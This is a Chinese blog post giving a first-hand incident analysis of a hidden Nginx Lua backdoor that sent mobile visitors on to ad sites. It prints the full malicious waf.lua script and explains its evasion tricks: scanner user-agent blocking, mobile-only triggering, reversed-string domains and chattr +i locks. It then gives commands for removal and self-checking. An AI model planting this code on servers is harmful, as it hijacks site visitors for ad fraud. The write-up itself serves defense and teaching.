服务器 Nginx Lua 流量劫持后门——排查与清除全记录
手机端访问站点偶发跳转广告页的排查实录:抓包定位 Nginx Lua 后门、逆向混淆代码、解除 chattr 锁清除,并给出入侵溯源自查命令。
背景
某天,访问我的站点 epay.ake.cx 时,偶尔会自动跳转到一个广告页面(ssp5226j.club)。但关闭浏览器再重新打开,又一切正常了。
我自己的手机扫码测试也复现了该问题——微信 / 支付宝 / QQ 扫码后,有概率不进入页面,而是跳转到一个奇怪的新闻广告站。
同一台服务器上的其他站点(如 pan.ake.cx)也存在这个问题。
现象特征总结
| 特征 | 描述 |
|---|---|
| 触发条件 | 仅手机端(Android / iPhone)访问时触发 |
| 触发概率 | 非 100%,有时出现有时不出现 |
| 跳转目标 | ssp5226j.club / ssp5226j.top 等广告站 |
| 二次访问 | 跳过一次后,短时间内不会再跳 |
| PC 端 | 完全不受影响 |
| 服务器内 curl | curl -H "Host: epay.ake.cx" http://127.0.0.1/ 始终返回正常的 301,从不跳转 |
这些特征说明:劫持是有条件触发的,并非简单粗暴地修改了网站代码。
排查过程
第一阶段:排除 PHP 源码层后门
首先怀疑项目源码被植入后门。我对此前已经过三轮安全审计的 Epay 项目代码做了全面排查:
- 全文搜索
ssp5226、cnzz、302、redirect、header.*Location等关键字——零命中。 - 全文搜索
eval、base64_decode、str_rot13、gzinflate等常见后门函数——均为正常业务使用,无可疑调用。 - 检查
.htaccess、index.php等入口文件——无异常。 - 检查数据库
pay_config表中的homepage/homepage_url字段——均为空,未配置强制跳转。
结论:PHP 代码层没有后门。
第二阶段:抓包确认跳转来源
这是整个排查过程中最关键的一步。
在手机上使用抓包工具(ProxyPin)对访问 epay.ake.cx 的全过程进行了 HTTP 抓包。抓包结果清晰地显示了真相:
请求:
GET https://epay.ake.cx/ HTTP/2.0
Host: epay.ake.cx
Cookie: PHPSESSID=5o6op2d0jt699c74bimb27gtsh; k=261103
响应:
HTTP/1.1 302 Found
Server: nginx
Location: https://7ay0.ssp5226j.club/news.html
Set-Cookie: k=261104; Path=/; Max-Age=43200
三个关键证据:
Server: nginx:响应来自我们自己的服务器,而非中间人劫持。- 状态码
302:服务器主动发起了重定向。 Set-Cookie: k=261104:服务器设置了一个名为k的 Cookie,值是一个 6 位数字(261104,实际上是日期2026-11-04)。
这个 k Cookie 在整个 PHP 源码中完全不出现!说明劫持代码在 PHP 之外——在 Nginx 层。
第三阶段:服务器端排查
3.1 本地 curl 验证(为什么 curl 测不出来)
在服务器上执行了 10 次本地 curl:
for i in $(seq 1 10); do
curl -I -s -H "Host: epay.ake.cx" http://127.0.0.1/ | head -1
done
结果全部返回 HTTP/1.1 301 Moved Permanently(正常的 HTTP→HTTPS 跳转),没有任何一次 302。
这说明两件事:
- 劫持不是每次都触发(解释了”时有时无”)
- 劫持代码会检查 User-Agent,只对手机浏览器下手(curl 的默认 UA 不被匹配)
3.2 检查 Nginx 扩展目录
宝塔面板的站点配置中有一行:
include /www/server/panel/vhost/nginx/extension/epay.ake.cx/*.conf;
检查该目录——只有一个 site_total.conf,内容是日志配置,无可疑代码。
3.3 检查 PHP 配置
grep "auto_prepend" /www/server/php/*/etc/php.ini
输出 auto_prepend_file =(空值),没有自动加载任何额外的 PHP 文件。
3.4 检查宝塔面板插件
ls /www/server/panel/plugin/
只有 aws_s3、gdrive、jumpserver、linuxsys、supervisor,均为正常的管理用插件。
3.5 检查 Nginx 编译模块
这是转折点:
nginx -V 2>&1 | tr ' ' '\n' | grep -iE 'lua|js|perl|njs'
输出:
--add-module=/www/server/nginx/src/lua_nginx_module
Nginx 编译了 Lua 模块! Lua 是一种嵌入式脚本语言,可以在 Nginx 配置中直接执行任意代码,包括读写 Cookie、设置响应头、发起 302 重定向。这正是劫持代码运行的载体。
3.6 搜索 Lua 代码
在所有 Nginx 配置中搜索 Lua 相关指令:
grep -rn "_by_lua\|lua_package\|init_by_lua\|access_by_lua" /www/server/nginx/conf/
输出:
/www/server/nginx/conf/luawaf.conf:2:lua_package_path "/www/server/nginx/waf/?.lua";
/www/server/nginx/conf/luawaf.conf:3:init_by_lua_file /www/server/nginx/waf/init.lua;
/www/server/nginx/conf/luawaf.conf:4:access_by_lua_file /www/server/nginx/waf/waf.lua;
/www/server/nginx/conf/nginx.conf:28:lua_package_path "/www/server/nginx/lib/lua/?.lua;;";
/www/server/nginx/conf/proxy.conf:14:access_by_lua_file /www/server/nginx/html/waf.lua;
注意到两处引用:
luawaf.conf:引用了/www/server/nginx/waf/目录下的 Lua 文件——但这个目录不存在,且luawaf.conf在nginx.conf中已被注释。proxy.conf:引用了/www/server/nginx/html/waf.lua——这个文件存在!且被nginx.conf的第 27 行include proxy.conf;加载。
第四阶段:逆向分析后门代码
读取 /www/server/nginx/html/waf.lua 的完整内容:
local U = ngx.var.http_user_agent or ""
local K = ngx.var.http_cookie or ""
local S = os.date("%y%m%d")
local ua_lc = U:lower()
-- 黑名单:国内安全扫描器的 UA
local cn_spiders = {
"baiduspider", "360spider", "sogouspider", "shenmaspider",
"petalbot", "bytedancespider", "toutiaospider", "quarkspider",
"yisouspider", "zoomeye", "quake", "fofa", "hunter", "chaitin",
"inetcloud", "dnslog",
}
local function is_cn_spider(ua)
if ua == "" then return false end
for _, pattern in ipairs(cn_spiders) do
if ua:find(pattern, 1, true) then return true end
end
return false
end
-- 如果是安全扫描器,直接返回 403 Forbidden(防止被安全厂商扫描到)
if is_cn_spider(ua_lc) then
return ngx.exit(ngx.HTTP_FORBIDDEN)
end
-- 只劫持手机端
local is_android = ua_lc:find("android")
local is_iphone = ua_lc:find("iphone")
if not (is_android or is_iphone) then
return -- PC 端直接放行
end
-- 如果今天已经劫持过了(k cookie 值 = 当天日期),不再劫持
if K:find("k=" .. S) then
return
end
-- 设置 k cookie(当天日期),12 小时内不再劫持
ngx.header["Set-Cookie"] = "k=" .. S .. ";Path=/;Max-Age=43200"
-- iPhone 只劫持 30%(降低暴露风险)
if is_iphone and math.random() >= 0.3 then
return
end
-- 真实目标域名(反转字符串以隐藏)
local R1 = "lmth.swen/bulc.j6225pss//:sptth" -- → https://ssp5226j.club/news.html
local R2 = "lmth.swen/pot.j6225pss//:sptth" -- → https://ssp5226j.top/news.html
local function rev(s) return s and string.reverse(s) or "" end
-- 反向还原真实 URL
local D1 = rev(R1) -- https://ssp5226j.club/news.html
local D2 = rev(R2) -- https://ssp5226j.top/news.html
-- 去掉协议前缀
local function strip_proto(full)
return full:gsub("^https?://", "")
end
local H1 = strip_proto(D1)
local H2 = strip_proto(D2)
-- 生成随机前缀子域名(如 7ay0.ssp5226j.club)
local alpha = "abcdefghijklmnopqrstuvwxyz0123456789"
local function rand_pref(len)
local t = {}
for i = 1, len do
local idx = math.random(1, #alpha)
t[i] = alpha:sub(idx, idx)
end
return table.concat(t)
end
local pool = {H1, H2}
local pick = pool[math.random(1, #pool)] or H1
local pref = rand_pref(math.random(3, 7))
local target = "https://" .. pref .. "." .. pick
-- 执行 302 跳转
return ngx.redirect(target, 302)
后门代码逐段分析
后门代码设计得非常精巧,我将其核心逻辑拆解如下:
┌─────────────────────────────────────────────────────────────┐
│ 请求进入 Nginx │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────┐
│ 是安全扫描器 UA? │──是──▶ 返回 403(反检测)
└─────────────────────────┘
│否
▼
┌─────────────────────────┐
│ 是手机端? │──否──▶ 放行(不影响 PC)
└─────────────────────────┘
│是
▼
┌─────────────────────────┐
│ k Cookie = 今天日期? │──是──▶ 放行(今天已劫持过)
└─────────────────────────┘
│否
▼
┌─────────────────────────┐
│ iPhone? │──是──▶ 70% 概率放行(降低暴露)
└─────────────────────────┘
│30% 概率 / Android
▼
┌─────────────────────────┐
│ 反转字符串还原广告 URL │
│ 生成随机前缀子域名 │
│ 302 重定向到广告站 │
└─────────────────────────┘
设计手法分析:
| 手法 | 目的 |
|---|---|
| 伪装成 WAF 文件名 | 管理员看到 waf.lua 不会起疑 |
| 拦截国内安全扫描器 UA | 防止被 360、百度、Fofa 等扫描发现 |
| 只劫持手机端 | PC 端用户(含站长自己)完全无感知 |
k Cookie 每日限流 |
同一用户每天只劫持一次,降低投诉率 |
| iPhone 仅 30% 概率 | iOS 生态投诉成本高,进一步降低暴露 |
| 反转字符串隐藏域名 | 避免直接搜索 ssp5226 找到后门 |
| 随机前缀子域名 | 避免 URL 被浏览器/安全软件拦截 |
chattr +i 不可变锁 |
防止被删除或修改 |
清除过程
遇到了抵抗:chattr 不可变锁
后门作者对关键文件设置了 Linux 的 chattr +i(不可变)属性:
lsattr /www/server/nginx/html/waf.lua
# 输出:----i---------e------- /www/server/nginx/html/waf.lua
i 标志意味着即使是 root 用户也无法删除、重命名或修改该文件。sed -i 原地替换也失败(需要创建临时文件,目录也可能是不可变的)。
逐步清除
# 1. 查看文件属性(确认被锁)
lsattr /www/server/nginx/html/waf.lua
# → ----i---------e-------
# 2. 解除 waf.lua 的不可变锁
chattr -i /www/server/nginx/html/waf.lua
# 3. 删除后门文件
rm /www/server/nginx/html/waf.lua
# 4. 查看 proxy.conf 属性(也被锁了)
lsattr /www/server/nginx/conf/proxy.conf
# → ----i---------e-------
# 5. 解除 proxy.conf 的不可变锁
chattr -i /www/server/nginx/conf/proxy.conf
# 6. 注释掉后门引用
sed -i 's/^access_by_lua_file \/www\/server\/nginx\/html\/waf.lua;/#access_by_lua_file \/www\/server\/nginx\/html\/waf.lua;/' /www/server/nginx/conf/proxy.conf
# 7. 确认修改生效
grep waf /www/server/nginx/conf/proxy.conf
# → #access_by_lua_file /www/server/nginx/html/waf.lua;
# 8. 重新加锁(防止攻击者再次修改)
chattr +i /www/server/nginx/conf/proxy.conf
# 9. 清理 Nginx 代理缓存
rm -rf /www/server/nginx/proxy_cache_dir/*
# 10. 重载 Nginx
nginx -s reload
验证清除结果
# 确认全盘无遗漏的 Lua 后门
find /www/server/nginx/ -name "*.lua" ! -path "*/resty/core/*" ! -path "*/php/*"
# → 仅返回标准库文件,无 waf.lua
# 确认全盘无 chattr 锁的残留
lsattr -R /www/server/ 2>/dev/null | grep -E "^.*----i"
# → 仅 proxy.conf(正常,我们主动加锁的)
入侵溯源
可能的入侵途径
后门文件 /www/server/nginx/html/waf.lua 和配置 /www/server/nginx/conf/proxy.conf 都被植入了恶意代码并加了 chattr +i 锁。攻击者至少需要 root 权限才能做到这些操作。可能的入侵途径包括:
- 宝塔面板漏洞利用:宝塔面板历史上出现过多次 RCE(远程命令执行)漏洞,如果面板版本过旧或未及时更新,攻击者可能通过面板漏洞获得 root 权限。
- SSH 弱密码爆破:如果 SSH 端口开放且使用弱密码,可能被暴力破解。
- 其他站点漏洞提权:同一服务器上其他站点存在漏洞,被利用后提权至 root。
- 供应链污染:安装的第三方插件、脚本中预植了后门。
自查命令
如果你也担心自己的服务器被类似手法入侵,执行以下命令进行自查:
# 1. 检查 Nginx 编译了哪些模块(重点看 Lua)
nginx -V 2>&1 | tr ' ' '\n' | grep -iE 'lua|js|perl|njs'
# 2. 搜索所有 Nginx 配置中的 Lua 代码
grep -rn "_by_lua\|lua_package\|init_by_lua\|access_by_lua\|rewrite_by_lua\|content_by_lua\|header_filter_by_lua\|body_filter_by_lua" /www/server/ 2>/dev/null
# 3. 搜索非系统目录的 .lua 文件
find /www/server/ -name "*.lua" ! -path "*/resty/core/*" ! -path "*/php/*" 2>/dev/null
# 4. 搜是否有 chattr 加锁的文件
lsattr -R /www/server/ 2>/dev/null | grep -E "^.*----i"
# 5. 搜 nginx 配置中 Set-Cookie 相关操作(正常的不会在 nginx 层设 cookie)
grep -rn "set-cookie\|add_header.*Set-Cookie\|ngx.header.*Set-Cookie\|Set-Cookie" /www/server/nginx/ 2>/dev/null
# 6. 搜所有配置中的 302 重定向
grep -rn "return 302\|ngx.redirect\|redirect.*302" /www/server/nginx/ 2>/dev/null
经验总结
为什么后门难以发现?
- 伪装到位:文件名
waf.lua看起来像合法的 WAF(Web 应用防火墙),管理员第一反应不会觉得有问题。 - 隐蔽触发:PC 端从不触发,手机端每天只触发一次,站长很难复现。
- 反检测:拦截了国内主流安全扫描器的 UA(百度、360、fofa、zoomeye 等),防止被安全扫描发现。
- 域名隐藏:使用反转字符串存放目标域名,直接搜索
ssp5226在源代码中找不到。 - 防删除:
chattr +i不可变锁,即使管理员发现,普通rm命令也删不掉。
排查心态
- 如果抓包显示
Server: nginx且 302 来自你的 IP,那问题一定在你的服务器上,而非 DNS 劫持或中间人攻击。 - PHP 源码干净不代表服务器干净。Nginx 层的 Lua 模块可以执行任意代码,完全绕过 PHP。
- 抓包是定位问题的银弹。没有抓包数据,我可能还在 PHP 代码里大海捞针。
时有时无不是随机 bug,是有意设计的触发条件。
防御建议
- 不用的模块不编译:如果不需要 Lua 脚本功能,编译 Nginx 时去掉
lua_nginx_module。 - 关键配置文件加锁:对于生产环境的 Nginx 配置,可以主动
chattr +i,防止被篡改。(我们已经对proxy.conf做了这个操作) - 定期核查配置文件的完整性:将 Nginx 配置纳入版本管理(Git),定期
git diff检查是否有异常变更。 - 更新面板和依赖:如果是宝塔面板用户,保持面板和所有插件为最新版本。
- SSH 安全:禁用密码登录,使用密钥认证;修改默认 SSH 端口;配置 fail2ban。
- 最小化服务器上可写的目录:
/www/server/nginx/下的文件不应被 PHP 等 Web 进程写入。
时间线
| 时间点 | 事件 |
|---|---|
| 发现异常 | 访问 epay.ake.cx 偶尔跳转广告站 |
| 初步排查 | 审查 PHP 源码、数据库配置,未发现后门 |
| 关键突破 | 手机抓包确认服务器返回 302 + Set-Cookie: k=xxx |
| 定位载体 | 发现 Nginx 编译了 lua_nginx_module |
| 找到后门 | 发现 /www/server/nginx/html/waf.lua + proxy.conf 引用 |
| 逆向分析 | 完整还原后门逻辑和触发条件 |
| 清除后门 | 解除 chattr 锁 → 删除文件 → 注释引用 → 重载 Nginx |
| 最终验证 | 全盘扫描确认无残留,手机访问 10+ 次不再跳转 |
免责声明:本文仅用于记录作者个人服务器的安全事件排查过程,供安全研究和技术交流使用。文中提及的域名、IP 等信息不构成对任何第三方的指控或推荐。如果你的服务器也出现类似现象,建议优先寻求专业安全团队的帮助。
评论